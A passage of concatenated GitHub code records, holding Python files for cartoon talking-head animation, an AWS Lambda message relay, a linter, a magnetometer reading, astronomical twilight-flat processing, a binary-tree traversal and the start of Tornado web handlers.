255, 0), -1)\n    plt.imshow(img_rgb)\n    plt.show()\n\n\n# 先得到对应卡通形象的std lmk\nDEMO_CH = opt_parser.jpg.split('.')[0]\nshape_3d = np.loadtxt('examples_cartoon/{}_face_close_mouth.txt'.format(DEMO_CH))\n\n\n# python main_end2end_cartoon.py --jpg bluehead.jpg --jpg_bg bluehead_bg.jpg\n\n''' STEP 3: Generate audio data as input to audio branch '''\n\n# 转换好的音频文件统一放到examples文件夹中\nc = AutoVC_mel_Convertor('examples',\n                         autovc_model_path=opt_parser.load_AUTOVC_name)\n\n# 取得音频文件\nau_data = []\nau_emb = []\nains = glob.glob1('examples', '*.wav')\nains = [item for item in ains if item is not 'tmp.wav']\nains.sort()\nfor ain in ains:\n    os.system('ffmpeg -y -loglevel error -i examples/{} -ar 16000 examples/tmp.wav'.format(ain))  # 对音频进行重新采样, sr=16000\n    # 将转换好的音频保存下来\n    shutil.copyfile('examples/tmp.wav', 'examples/{}'.format(ain))\n    # au embedding\n    wav_path = 'examples/{}'.format(ain)\n    me, ae = get_spk_emb(wav_path)  # 使用上面已经转换好的并保存下来的音频\n    au_emb.append(me.reshape(-1))  # 得到音频特征emb (其实就是音频编码的均值)\n    print('Processing audio file', ain)\n    # 将当前的音频的音色统一转换成奥巴马的\n    au_data_i = c.convert_single_wav_to_autovc_input(\n                                                     audio_filename=wav_path,\n                                                     cur_emb=me  # 复用\n    )\n    au_data += au_data_i\n    os.remove(os.path.join('examples', 'tmp.wav'))\n\n# if os.path.isfile('examples/tmp.wav'):\n#     os.remove('examples/tmp.wav')\n\nfl_data = []\nrot_tran, rot_quat, anchor_t_shape = [], [], []\nfor au, info in au_data:\n    \"\"\"\n    info: 其中包含了au(音色统一了的音频), wav文件名, wav中的音色emb\n    \"\"\"\n    au_length = au.shape[0]\n    # 以下都只是缓冲buffle\n    fl_data.append((np.zeros(shape=(au_length, 68 * 3)), info))\n    rot_tran.append(np.zeros(shape=(au_length, 3, 4)))\n    rot_quat.append(np.zeros(shape=(au_length, 4)))\n    anchor_t_shape.append(np.zeros(shape=(au_length, 68 * 3)))\n\nif os.path.exists(os.path.join('examples', 'dump', 'random_val_fl.pickle')):\n    os.remove(os.path.join('examples', 'dump', 'random_val_fl.pickle'))\nif os.path.exists(os.path.join('examples', 'dump', 'random_val_fl_interp.pickle')):\n    os.remove(os.path.join('examples', 'dump', 'random_val_fl_interp.pickle'))\nif os.path.exists(os.path.join('examples', 'dump', 'random_val_au.pickle')):\n    os.remove(os.path.join('examples', 'dump', 'random_val_au.pickle'))\nif os.path.exists(os.path.join('examples', 'dump', 'random_val_gaze.pickle')):\n    os.remove(os.path.join('examples', 'dump', 'random_val_gaze.pickle'))\n\nwith open(os.path.join('examples', 'dump', 'random_val_fl.pickle'), 'wb') as fp:\n    pickle.dump(fl_data, fp)\nwith open(os.path.join('examples', 'dump', 'random_val_au.pickle'), 'wb') as fp:\n    pickle.dump(au_data, fp)  # random_val_au中保存了统一了音色的音频特征\nwith open(os.path.join('examples', 'dump', 'random_val_gaze.pickle'), 'wb') as fp:\n    gaze = {'rot_trans': rot_tran, 'rot_quat': rot_quat, 'anchor_t_shape': anchor_t_shape}\n    pickle.dump(gaze, fp)\n\n\n''' STEP 4: RUN audio->landmark network'''\n# 这里上传的shape_3d就是指定的人物的std close mouth lmk, 就并不是使用通用的人脸的std landmark了\n\nimage = cv2.imread(\"examples_cartoon/bluehead.jpg\")\n\n# vis_2dpoints(image, (shape_3d[:, :2] + 1) / 2)\n\n# _2d_vis((shape_3d[:, :2] + 1) / 2)\n\n\n# _2d_vis(shape_3d[:, :2])\n\nmodel = Audio2landmark_model(opt_parser, jpg_shape=shape_3d)\nif len(opt_parser.reuse_train_emb_list) == 0:\n    model.test(au_emb=au_emb)\nelse:\n    model.test(au_emb=None)\n\n\n# 目前我主要看这个就行, 从这里反推出来针对新的卡通人物要怎么打lmk\n''' STEP 5: de-normalize the output to the original image scale '''\nfls_names = glob.glob1('examples_cartoon', 'pred_fls_*.txt')\nfls_names.sort()\nfor i in range(0, len(fls_names)):\n    ains = glob.glob1('examples', '*.wav')\n    ains.sort()\n    ain = ains[i]\n    fl = np.loadtxt(os.path.join('examples_cartoon', fls_names[i])).reshape((-1, 68, 3))\n\n    # 这里可视化出来的是卡通的关键点\n    # _3d_vis(fl[0])\n\n    output_dir = os.path.join('examples_cartoon', fls_names[i][:-4])\n    try:\n        os.makedirs(output_dir)\n    except:\n        pass\n    # 三角仿射变化要处理拉伸边缘的\n\n    # 这个应该是\n    bound, scale, shift = get_puppet_info(DEMO_CH, ROOT_DIR='examples_cartoon')\n\n    fls = fl.reshape((-1, 68, 3))\n\n    fls[:, :, 0:2] = -fls[:, :, 0:2]   # 坐标系转换(其实这里的坐标系转换只是因为scale是负数)\n    fls[:, :, 0:2] = fls[:, :, 0:2] / scale  # 尺度还原\n    fls[:, :, 0:2] -= shift.reshape(1, 2)  # 平移\n\n    # 这个是与原图是吻合的\n    # vis_fl = fls.reshape(-1, 68, 3)[:, :, :2][0]\n    # vis_2dpoints(image, vis_fl[0])\n\n    # shape_2d = shape_3d[:, :2]\n    # shape_2d = shape_2d / scale\n    # shape_2d -= shift.reshape(1, 2)\n    # vis_2dpoints(image, shape_2d)\n\n    fls = fls.reshape(-1, 204)\n\n    # additional smooth\n    fls[:, 0:48*3] = savgol_filter(fls[:, 0:48*3], 17, 3, axis=0)\n    fls[:, 48*3:] = savgol_filter(fls[:, 48*3:], 11, 3, axis=0)\n    fls = fls.reshape((-1, 68, 3))\n\n    # 对关键点进行一定的修改, 以适应三角形仿射变换的拉伸\n    if DEMO_CH in ['paint', 'mulaney', 'cartoonM', 'beer', 'color', 'JohnMulaney', 'vangogh', 'jm', 'roy', 'lineface']:\n        r = list(range(0, 68))\n        fls = fls[:, r, :]\n        fls = fls[:, :, 0:2].reshape(-1, 68 * 2)\n        fls = np.concatenate((fls, np.tile(bound, (fls.shape[0], 1))), axis=1)\n        fls = fls.reshape(-1, 160)\n\n    else:\n        r = list(range(0, 48)) + list(range(60, 68))\n        # print(fls.shape)  # (287, 68, 3)\n        fls = fls[:, r, :]\n        # print(fls.shape)  # (287, 56, 3)\n        fls = fls[:, :, 0:2].reshape(-1, 56 * 2)\n        # print(fls.shape)  # (287, 112)\n        # for fl in fls:\n        #     _2d_vis(fl.reshape(56, 2))\n        # 使用bound替换掉fls缺少的部分\n        fls = np.concatenate((fls, np.tile(bound, (fls.shape[0], 1))), axis=1)\n        # print(fls.shape)  # (287, 136)\n        fls = fls.reshape(-1, 112 + bound.shape[1])\n        # print(fls.shape)  # (287, 136)\n        # print(\"----------------------------------------------------\")\n    # 最后将得到的关键点存入到warped_points.txt供后续使用\n    np.savetxt(os.path.join(output_dir, 'warped_points.txt'), fls, fmt='%.2f')\n\n    # 使用张嘴的点作为一个参考\n    # static_points.txt\n    # 这个是张嘴的点, 这是个非常直观的点, 与图片对应没有进行任何缩放和平移\n    static_frame = np.loadtxt(os.path.join('examples_cartoon', '{}_face_open_mouth.txt'.format(DEMO_CH)))\n    # vis_2dpoints(image, static_frame)\n    # assert False\n    static_frame_2d = static_frame[r, 0:2]\n    static_frame_2d = np.concatenate((static_frame_2d, bound.reshape(-1, 2)), axis=0)\n    np.savetxt(os.path.join(output_dir, 'reference_points.txt'), static_frame_2d, fmt='%.2f')\n\n    # triangle_vtx_index.txt\n    shutil.copy(os.path.join('examples_cartoon', DEMO_CH + '_delauney_tri.txt'),\n                os.path.join(output_dir, 'triangulation.txt'))\n\n    os.remove(os.path.join('examples_cartoon', fls_names[i]))\n\n    # ==============================================\n    # Step 4 : Vector art morphing\n    # ==============================================\n    warp_exe = os.path.join(os.getcwd(), 'facewarp', 'facewarp.exe')\n    if os.path.exists(os.path.join(output_dir, 'output')):\n        shutil.rmtree(os.path.join(output_dir, 'output'))\n    os.mkdir(os.path.join(output_dir, 'output'))\n    os.chdir('{}'.format(os.path.join(output_dir, 'output')))\n    cur_dir = os.getcwd()\n    print(cur_dir)\n    if(os.name == 'nt'): \n        ''' windows '''\n        os.system('{} {} {} {} {} {}'.format(\n            warp_exe,\n            os.path.join(cur_dir, '..', '..', opt_parser.jpg),\n            os.path.join(cur_dir, '..', 'triangulation.txt'),\n            os.path.join(cur_dir, '..', 'reference_points.txt'),\n            os.path.join(cur_dir, '..', 'warped_points.txt'),\n            os.path.join(cur_dir, '..', '..', opt_parser.jpg_bg),\n            '-novsync -dump'))\n    else:\n        ''' linux '''\n        os.system('wine {} {} {} {} {} {}'.format(\n            warp_exe,\n            os.path.join(cur_dir, '..', '..', opt_parser.jpg),\n            os.path.join(cur_dir, '..', 'triangulation.txt'),\n            os.path.join(cur_dir, '..', 'reference_points.txt'),\n            os.path.join(cur_dir, '..', 'warped_points.txt'),\n            os.path.join(cur_dir, '..', '..', opt_parser.jpg_bg),\n            '-novsync -dump'))\n    os.system('ffmpeg -y -r 62.5 -f image2 -i \"%06d.tga\" -i {} -pix_fmt yuv420p -vf \"pad=ceil(iw/2)*2:ceil(ih/2)*2\" -shortest -strict -2 {}'.format(\n        os.path.join(cur_dir, '..', '..', '..', 'examples', ain),\n        os.path.join(cur_dir, '..', 'out.mp4')\n    ))\n","repo_name":"Allen-lz/MakeItTalk_Cartoon","sub_path":"main_end2end_cartoon.py","file_name":"main_end2end_cartoon.py","file_ext":"py","file_size_in_byte":12997,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"74257828901","text":"import json\nimport time\nimport requests\nimport boto3\n\ndef lambda_handler(event, context):\n  time.sleep(5)\n\n  for record in event[\"Records\"]:\n    body = record[\"body\"]\n    message = json.loads(body)\n\n    # api_url = \"http://localhost:3000/api/messages/\"\n    api_url = \"http://host.docker.internal:3000/api/messages/\"\n    response = requests.post(api_url, json=message)\n\n    if response.status_code == 200:\n      print(f\"Mensagem postada na API: {message}\")\n    else:\n      print(f\"Falha ao enviar dados na API: {response.content}\")\n\n  sns = boto3.client(\"sns\", region_name=\"us-east-1\", endpoint_url=\"http://localhost:4566\")\n  sns_topic_arn = \"arn:aws:sns:us-east-1:000000000000:my-topic\"\n\n  sns_response = sns.publish(\n    TopicArn=sns_topic_arn,\n    Message=\"Mensagem processada com sucesso\",\n    Subject=\"Notificação de Lambda\",\n  )\n\n  if sns_response.get('MessageId'):\n    print(f\"Publicado mensagem em SNS: {sns_response['MessageId']}\")\n  else:\n    print(\"Falha ao publicar mensagem em SNS\")\n\n  return {\n    \"statusCode\": 200,\n    \"body\": json.dumps(\"Função executada corretamente\")\n  }\n","repo_name":"rodrigosarri/challenge","sub_path":"aws/lambda_function/lambda_function.py","file_name":"lambda_function.py","file_ext":"py","file_size_in_byte":1094,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"906597931","text":"'''\n     Function to Read in Files for Parsing and Output Errors from list of Errors \n     Emma Sommers\n     11/19/22\n'''\n\n\nimport os\nimport sys\n\nimport parse\nimport warnings\n\n\ndef parse_and_warn():\n    ''' Runs program by reading files, sending their contents to be parsed, and printing their warnings  '''\n    files = read_files()\n    for file in files:\n        parsed = parse.parse(get_contents(file))\n        printWarnings(warnings.assembleWarning(parsed), file)\n\ndef read_files():\n    ''' Function to return list of .py files in the current directory '''\n    path = sys.argv[1]\n    if os.path.isfile(path):\n        files = [os.path.abspath(path)]\n    elif os.path.isdir(path):\n        files = [os.path.join(os.path.abspath(path), file) for file in os.listdir(path)]\n    return files\n\ndef get_contents(file):\n    ''' Read in 1 file and return its contents as a list of string '''\n    with open(file, 'r') as infile:\n        return infile.readlines()\n\ndef printWarnings(warn_list, fname):\n    ''' Prints list of Warnings for each file in a list of Warnings  '''\n    END = \"\\033[0m\"\n    colors = {\"Pronouns\": \"\\033[1;35m\",\n              \"Gendered Language\": \"\\033[1;36m\",\n              \"Problem Terms\": \"\\033[1;34m\",\n              \"Libraries\": \"\\033[1;32m\" }\n    for error in warn_list:\n        print(\"File \", fname, \", line \", error.lineNumber, sep='')\n        print('\\t', colors[error.type], error.type, END, \": \", error.warningMessage, sep='')\n","repo_name":"trholdridge/based-linter","sub_path":"inout.py","file_name":"inout.py","file_ext":"py","file_size_in_byte":1449,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"14365445458","text":"#magneto\nimport time\nimport board\nimport numpy as np\nimport adafruit_fxas21002c\nimport adafruit_fxos8700\nfrom yaw import *\n\ni2c = busio.I2C(board.SCL, board.SDA)\nsensor1 = adafruit_fxos8700.FXOS8700(i2c)\nsensor2 = adafruit_fxas21002c.FXAS21002C(i2c)\n\nmag_offset = calibrate_mag()\ninitial_angle = set_initial(mag_offset)\ny1 = []\nxs = []\n\nwhile True:\n\n    accelX, accelY, accelZ = sensor1.accelerometer\n    magX, magY, magZ = sensor1.magnetometer\n    magX = magX - mag_offset[0]\n    magY = magY - mag_offset[1]\n    magZ = magZ - mag_offset[2]\n    xs.append(time.time())\n\n    zeroCalib = 362 - initial_angle[2]\n    y1.append(yaw_am(accelX, accelY, accelZ, magX, magY, magZ, zeroCalib))\n\n    y1 = y1[-20:]\n    print('Magneto Yaw (degrees): ({0:0.3f})'.format(y1[-1]))\n    time.sleep(0.5)\n","repo_name":"2024eli/BWSI-CubeSat","sub_path":"BloomCube/ADCS/magneto.py","file_name":"magneto.py","file_ext":"py","file_size_in_byte":784,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"6989712910","text":"from __future__ import division\nfrom __future__ import print_function\n\nimport argparse\nimport astropy.io.fits as fits\nimport numpy as np\nfrom numina.array.display.pause_debugplot import pause_debugplot\nfrom numina.array.display.polfit_residuals import \\\n    polfit_residuals_with_sigma_rejection\nfrom numina.array.display.ximplot import ximplot\nfrom numina.array.display.ximshow import ximshow\nfrom numina.array.display.ximplotxy import ximplotxy\nfrom numina.array.wavecalib import find_pix_borders\nfrom numina.array.wavecalib import fix_pix_borders\nfrom numina.array.wavecalib.peaks_spectrum import refine_peaks_spectrum\nfrom numina.array.wavecalib.resample import oversample1d\nfrom numina.array.wavecalib.resample import rebin\nfrom numina.array.wavecalib.resample import shiftx_image2d_flux\nfrom scipy import ndimage\n\nfrom numina.array.display.pause_debugplot import DEBUGPLOT_CODES\n\n\ndef filtmask(sp, fmin=0.02, fmax=0.15, debugplot=0):\n    \"\"\"Filter spectrum in Fourier space and apply cosine bell.\n\n    Parameters\n    ----------\n    sp : numpy array\n        Spectrum to be filtered and masked.\n    fmin : float\n        Minimum frequency to be employed.\n    fmax : float\n        Maximum frequency to be employed.\n    debugplot : int\n        Debugging level for messages and plots. For details see\n        'numina.array.display.pause_debugplot.py'.\n\n    Returns\n    -------\n    sp_filtmask : numpy array\n        Filtered and masked spectrum\n\n    \"\"\"\n\n    # Fourier filtering\n    xf = np.fft.fftfreq(sp.size)\n    yf = np.fft.fft(sp)\n    if abs(debugplot) in (21, 22):\n        ximplotxy(xf, yf.real, xlim=(0, 0.51),\n                  plottype='semilog', debugplot=debugplot)\n\n    cut = (np.abs(xf) > fmax)\n    yf[cut] = 0.0\n    cut = (np.abs(xf) < fmin)\n    yf[cut] = 0.0\n    if abs(debugplot) in (21, 22):\n        ximplotxy(xf, yf.real, xlim=(0, 0.51),\n                  plottype='semilog', debugplot=debugplot)\n\n    sp_filt = np.fft.ifft(yf).real\n    if abs(debugplot) in (21, 22):\n        ximplot(sp_filt, title=\"filtered median spectrum\",\n                plot_bbox=(1, sp_filt.size), debugplot=debugplot)\n\n    sp_filtmask = sp_filt * cosinebell(sp_filt.size, 0.1)\n    if abs(debugplot) in (21, 22):\n        ximplot(sp_filtmask, title=\"filtered and masked median spectrum\",\n                plot_bbox=(1, sp_filt.size), debugplot=debugplot)\n\n    return sp_filtmask\n\n\ndef periodic_corr1d(x, y):\n    \"\"\"Periodic correlation, implemented using FFT.\n\n    x and y must be real sequences with the same length.\n\n    Parameters\n    ----------\n    x : numpy array\n        First sequence.\n    y : numpy array\n        Second sequence.\n\n    Returns\n    -------\n    crosscorr : numpy array\n        Periodic correlation\n\n    \"\"\"\n\n    if x.ndim != 1 or y.ndim != 1:\n        raise ValueError(\"Invalid array dimensions\")\n    if x.shape != y.shape:\n        raise ValueError(\"x and y shapes are different\")\n\n    corr = np.fft.ifft(np.fft.fft(x) * np.fft.fft(y).conj()).real\n\n    return corr\n\n\ndef cosinebell(n, fraction):\n    \"\"\"Return a cosine bell spanning n pixels, masking a fraction of pixels\n\n    Parameters\n    ----------\n    n : int\n        Number of pixels.\n    fraction : float\n        Length fraction over which the data will be masked.\n\n    \"\"\"\n\n    mask = np.ones(n)\n    nmasked = int(fraction * n)\n    for i in range(nmasked):\n        yval = 0.5 * (1 - np.cos(np.pi * float(i) / float(nmasked)))\n        mask[i] = yval\n        mask[n - i - 1] = yval\n\n    return mask\n\n\ndef process_twilight(fitsfile, npix_zero_in_border,\n                     oversampling, nwindow_median, outfile, debugplot):\n    \"\"\"Process twilight image.\n\n    Parameters\n    ----------\n    fitsfile : str\n        Twilight RSS FITS file name.\n    npix_zero_in_border : int\n        Number of pixels to be set to zero at the beginning and at\n        the end of each spectrum to avoid unreliable pixel values\n        produced in the wavelength calibration procedure.\n    oversampling : int\n        Oversampling of each pixel.\n    nwindow_median : int\n        Window size (in pixels) for median filter applied along the\n        spectral direction.\n    outfile : file\n        Output FITS file name.\n    debugplot : int\n        Debugging level for messages and plots. For details see\n        'numina.array.display.pause_debugplot.py'.\n\n    \"\"\"\n\n    # read the 2d image\n    with fits.open(fitsfile) as hdulist:\n        image2d_header = hdulist[0].header\n        image2d = hdulist[0].data\n    naxis2, naxis1 = image2d.shape\n    if abs(debugplot) in (21, 22):\n        ximshow(image2d, show=True,\n                title='initial twilight image', debugplot=debugplot)\n\n    # set to zero a few pixels at the beginning and at the end of each\n    # spectrum to avoid unreliable values coming from the wavelength\n    # calibration procedure\n    image2d = fix_pix_borders(image2d, nreplace=npix_zero_in_border,\n                              sought_value=0, replacement_value=0)\n    if abs(debugplot) in (21, 22):\n        ximshow(image2d, show=True,\n                title='twilight image after removing ' +\n                      str(npix_zero_in_border) + ' pixels at the borders',\n                debugplot=debugplot)\n\n    # mask and masked array\n    mask2d = (image2d == 0)\n    image2d_masked = np.ma.masked_array(image2d, mask=mask2d)\n\n    # median (and normalised) vertical cross section\n    ycutmedian = np.ma.median(image2d_masked, axis=1).data\n    # normalise cross section with its own median\n    tmpmedian = np.median(ycutmedian)\n    if tmpmedian > 0:\n        ycutmedian /= tmpmedian\n    else:\n        raise ValueError('Unexpected null median in cross section')\n    # replace zeros by ones\n    iszero = np.where(ycutmedian == 0)\n    ycutmedian[iszero] = 1\n    if abs(debugplot) in (21, 22):\n        ximplot(ycutmedian, plot_bbox=(1, naxis2),\n                title='median ycut', debugplot=debugplot)\n\n    # equalise the flux in each fiber by dividing the original image by the\n    # normalised vertical cross secction\n    ycutmedian2d = np.repeat(ycutmedian, naxis1).reshape(naxis2, naxis1)\n    image2d_eq = image2d_masked/ycutmedian2d\n    if abs(debugplot) in (21, 22):\n        ximshow(image2d_eq.data, show=True,\n                title='equalised image', debugplot=debugplot)\n\n    # median spectrum\n    spmedian = np.ma.median(image2d_eq, axis=0).data\n    # filtered and masked median spectrum\n    spmedian_filtmask = filtmask(spmedian, fmin=0.02, fmax=0.15,\n                                 debugplot=debugplot)\n    if abs(debugplot) in (21, 22):\n        xdum = np.arange(naxis1) + 1\n        ax = ximplotxy(xdum, spmedian, show=False,\n                       title=\"median spectrum\", label='initial')\n        ax.plot(xdum, spmedian_filtmask, label='filtered & masked')\n        ax.legend()\n        pause_debugplot(debugplot, pltshow=True)\n\n    # periodic correlation\n    xcorr = np.arange(naxis1)\n    naxis1_half = int(naxis1/2)\n    for i in range(naxis1_half):\n        xcorr[i + naxis1_half] -= naxis1\n    isort = xcorr.argsort()\n    xcorr = xcorr[isort]\n    naxis2_half = int(naxis2/2)\n\n    offsets = np.zeros(naxis2)\n    for i in range(naxis2):\n        sp_filtmask = filtmask(image2d[i, :])\n        if i == naxis2_half and (abs(debugplot) in (21, 22)):\n            ximplot(sp_filtmask, title=\"median spectrum of scan \" + str(i),\n                    plot_bbox=(1, spmedian.size), debugplot=debugplot)\n        corr = periodic_corr1d(sp_filtmask, spmedian_filtmask)\n        corr = corr[isort]\n        if i == naxis2_half and (abs(debugplot) in (21, 22)):\n            ximplotxy(xcorr, corr,\n                      title=\"periodic correlation with scan \" + str(i),\n                      xlim=(-20, 20), debugplot=debugplot)\n        ixpeak = np.array([corr.argmax()])\n        xdum, sdum = refine_peaks_spectrum(corr, ixpeak, 7,\n                                           method='gaussian')\n        offsets[i] = xdum - naxis1_half\n\n    if abs(debugplot) in (21, 22):\n        xdum = np.arange(naxis2) + 1\n        ax = ximplotxy(xdum, offsets, ylim=(-10, 10),\n                       xlabel='pixel in the NAXIS2 direction',\n                       ylabel='offset (pixels) in the NAXIS1 direction',\n                       show=False, **{'label': 'measured offsets'})\n        ypol1, residuals, reject = polfit_residuals_with_sigma_rejection(\n            x=xdum, y=offsets, deg=1, times_sigma_reject=5.0)\n        ax.plot(xdum, ypol1(xdum), '-',\n                label='poly1: ' + str(ypol1.coef))\n        ypol2, residuals, reject = polfit_residuals_with_sigma_rejection(\n            x=xdum, y=offsets, deg=2, times_sigma_reject=5.0)\n        ax.plot(xdum, ypol2(xdum), '-',\n                label='poly2: ' + str(ypol2.coef))\n        ax.legend()\n        pause_debugplot(debugplot, pltshow=True)\n\n    # oversampling\n    naxis1_over = naxis1 * oversampling\n    image2d_over = np.zeros((naxis2, naxis1_over))\n    for i in range(naxis2):\n        sp_over, crval1_over, cdelt1_over = \\\n            oversample1d(image2d[i, :], crval1=1, cdelt1=1,\n                         oversampling=oversampling)\n        sp_over_shifted = \\\n            shiftx_image2d_flux(sp_over, -offsets[i]*oversampling)\n        image2d_over[i] = sp_over_shifted\n\n    if abs(debugplot) in (21, 22):\n        ximshow(image2d_over, title='oversampled & shifted',\n                debugplot=debugplot)\n\n    # medium spectrum (masking null values)\n    image2d_over_masked = np.ma.masked_array(image2d_over,\n                                             mask=(image2d_over == 0))\n    spmedian_over = np.ma.median(image2d_over_masked, axis=0).data\n\n    if abs(debugplot) in (21, 22):\n        xplot = np.linspace(1, naxis1, naxis1)\n        xplot_over = np.linspace(1, naxis1, naxis1_over)\n        ax = ximplotxy(xplot, spmedian,\n                       show=False, label='median')\n        ax.plot(xplot_over, spmedian_over, 'b-', label='oversampled median')\n        ax.legend()\n        pause_debugplot(debugplot, pltshow=True)\n\n    spmedian_over2d = \\\n        np.tile(spmedian_over, naxis2).reshape(naxis2, naxis1_over)\n    image2d_over_norm = np.ones(image2d_over.shape)\n    nonzero = np.where(spmedian_over2d != 0)\n    image2d_over_norm[nonzero] = \\\n        image2d_over[nonzero] / spmedian_over2d[nonzero]\n    image2d_divided = rebin(image2d_over_norm, naxis2, naxis1)\n\n    # enlarge original mask to remove additional border effects\n    mask2d = fix_pix_borders(mask2d, nreplace=npix_zero_in_border,\n                             sought_value=True, replacement_value=True)\n    image2d_divided[mask2d] = 1.0\n\n    # apply median filter along the spectral direction to each spectrum\n    # avoiding the masked region at the borders\n    image2d_smoothed = np.ones((naxis2, naxis1))\n    for i in range(naxis2):\n        jmin, jmax = find_pix_borders(mask2d[i, :], sought_value=True)\n        if jmin == -1 and jmax == naxis1:\n            image2d_smoothed[i, :] = image2d_divided[i, :]\n        else:\n            j1 = max(jmin, 0)\n            j2 = min(jmax, naxis1 - 1) + 1\n            spdum = np.copy(image2d_divided[i, j1:j2])\n            if j2 - j1 > nwindow_median:\n                spfilt = ndimage.median_filter(spdum, nwindow_median,\n                                               mode='nearest')\n                image2d_smoothed[i, j1:j2] = spfilt\n            else:\n                image2d_smoothed[i, j1:j2] = spdum\n\n    # residuals and robust standard deviation (using a masked array)\n    image2d_residuals = np.ma.masked_array(image2d_divided - image2d_smoothed,\n                                           mask=mask2d)\n    q25, q75 = np.percentile(image2d_residuals.compressed(), q=[25.0, 75.0])\n    sigma_g = 0.7413 * (q75 - q25)  # robust standard deviation\n\n    # repeat median filter along the spectral direction to each spectrum\n    # replacing suspicious pixels (residuals > 3*sigma_g) by a highly\n    # smoothed version of the spectrum\n    image2d_smoothed = np.ones((naxis2, naxis1))\n    tsigma = 3.0\n    ntmedian = 5\n    for i in range(naxis2):\n        jmin, jmax = find_pix_borders(mask2d[i, :], sought_value=True)\n        if jmin == -1 and jmax == naxis1:\n            image2d_smoothed[i, :] = image2d_divided[i, :]\n        else:\n            j1 = max(jmin, 0)\n            j2 = min(jmax, naxis1 - 1) + 1\n            spdum = np.copy(image2d_divided[i, j1:j2])\n            if j2 - j1 > ntmedian*nwindow_median:\n                spultrasmooth = ndimage.median_filter(spdum,\n                                                      ntmedian*nwindow_median,\n                                                      mode='nearest')\n                spresiduals = image2d_residuals[i, j1:j2]\n                pixreplace = np.where(np.abs(spresiduals) > tsigma*sigma_g)\n                spdum[pixreplace] = spultrasmooth[pixreplace]\n                spfilt = ndimage.median_filter(spdum, nwindow_median,\n                                               mode='nearest')\n                image2d_smoothed[i, j1:j2] = spfilt\n\n            else:\n                image2d_smoothed[i, j1:j2] = spdum\n\n    if abs(debugplot) in (21, 22):\n        ximshow(image2d_over_norm, title='divided (oversampled)',\n                debugplot=debugplot)\n        ximshow(image2d_divided,\n                title='divided (resampled to original sampling)',\n                debugplot=debugplot)\n        ximshow(image2d_smoothed, title='median filtered (twice)',\n                debugplot=debugplot)\n\n    # save result\n    hdu = fits.PrimaryHDU(image2d_smoothed, image2d_header)\n    hdu.writeto(outfile, overwrite=True)\n\n\ndef main(args=None):\n    # parse command-line options\n    parser = argparse.ArgumentParser(prog='twilight')\n    # positional parameters\n    parser.add_argument(\"fitsfile\",\n                        help=\"Twilight FITS image\",\n                        type=argparse.FileType('r'))\n    parser.add_argument(\"outfile\",\n                        help=\"Output FITS file name\",\n                        type=argparse.FileType('w'))\n    parser.add_argument(\"--oversampling\",\n                        help=\"Oversampling (1=none; default)\",\n                        default=1, type=int)\n    parser.add_argument(\"--npixzero\",\n                        help=\"Number of pixels to be set to zero at the \"\n                             \"borders of each spectrum (default=3)\",\n                        default=3, type=int)\n    parser.add_argument(\"--nwinmed\",\n                        help=\"Window size (pixels) for median filter along \"\n                             \"the spectral direction (odd number, \"\n                             \"default=51)\",\n                        default=51, type=int)\n    parser.add_argument(\"--debugplot\",\n                        help=\"integer indicating plotting/debugging\" +\n                             \" (default=0)\",\n                        type=int, default=0,\n                        choices=DEBUGPLOT_CODES)\n\n    args = parser.parse_args(args=args)\n\n    process_twilight(args.fitsfile.name,\n                     args.npixzero,\n                     args.oversampling,\n                     args.nwinmed,\n                     args.outfile, args.debugplot)\n\n\nif __name__ == \"__main__\":\n\n    main()\n","repo_name":"nicocardiel/xmegara","sub_path":"twilight.py","file_name":"twilight.py","file_ext":"py","file_size_in_byte":15082,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"18224578644","text":"\"\"\"\nProgram to print the nodes of the below binary tree by inorder traversal\n        1 \n       / \\ \n      2   3\n     / \\ \n    4   5\n              \n\"\"\"\n\n# class to create binary tree\nclass Node:\n    def __init__(self, val):\n        self.left = None\n        self.val = val\n        self.right = None \n\n# creating the above binary tree\n\n# 1st level\nroot = Node(1)\n\n# 2nd lwvwl\nroot.left = Node(2)\nroot.right = Node(3)\n\n# 3rd level\nroot.left.left = Node(4)\nroot.left.right = Node(5)\n\ndef preorder(root):\n    #base case: when we reach the leaf node\n    if not root:\n        return\n    #printing the root val\n    print(root.val)\n    #traversing left subtree recursively\n    preorder(root.left)\n    #traversing right subtree recursively\n    preorder(root.right)\n\npreorder(root)","repo_name":"abhinavsp0730/BinaryTreeVisualization","sub_path":"pre-order/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":769,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"2515193839","text":"#-*-coding: utf-8 -*-\r\n#Twisted Tornado Gevent Asyncio\r\nimport tornado.ioloop\r\nimport tornado.web\r\nfrom tornado.httpclient import (\r\n\t                             HTTPClient,\r\n\t                             AsyncHTTPClient\r\n\t                             )\r\nfrom tornado.concurrent import Future\r\nimport tornado.httpserver \r\n\r\n# def async_fetch_future(url):\r\n# \thttp_client = AsyncHTTPClient()\r\n#     my_future = Future()\r\n#     fetch_future = http_client.fetch(url)\r\n#     fetch_future.add_done_callback(\r\n#     \tlamba f:my_future.set_result(f.result()))\r\n#     return my_future\r\n\r\n\r\nclass WebHandler(tornado.web.RequestHandler):\r\n\tdef get(self):\r\n\t    self.write({'status':'success','name':'web','code':200})\r\n\r\n\r\nclass LoginHandler(tornado.web.RequestHandler):\r\n\tdef get(self):\r\n\t    self.write({'status':'success','name':'login','code':200})\r\n\r\n\tdef post(self):\r\n\t\ttry:\r\n\t\t\tusername = self.get_body_argument('username')\r\n\t\t\tpassword = self.get_body_argument('password')\r\n\t\t\tif username and password:\r\n\t\t\t\tself.write({'status':'success','code':200})\r\n\t\texcept tornado.web.MissingArgumentError as e:\r\n\t\t\tself.write({'status':'fail','code':500,'message':'提交表单字段错误'})\r\n\r\n\r\nclass AddressHandler(tornado.web.RequestHandler):\r\n\tdef get(self,address_id):\r\n\t    self.write({'status':'success','address_id':address_id,'code':200})\r\n\r\n\r\nclass InfoHandler(tornado.web.RequestHandler):\r\n\tdef get(self):\r\n\t    self.write({'status':'success','name':'info','code':200})\r\n\r\n\r\nclass TestHandler(tornado.web.RequestHandler):\r\n\tdef 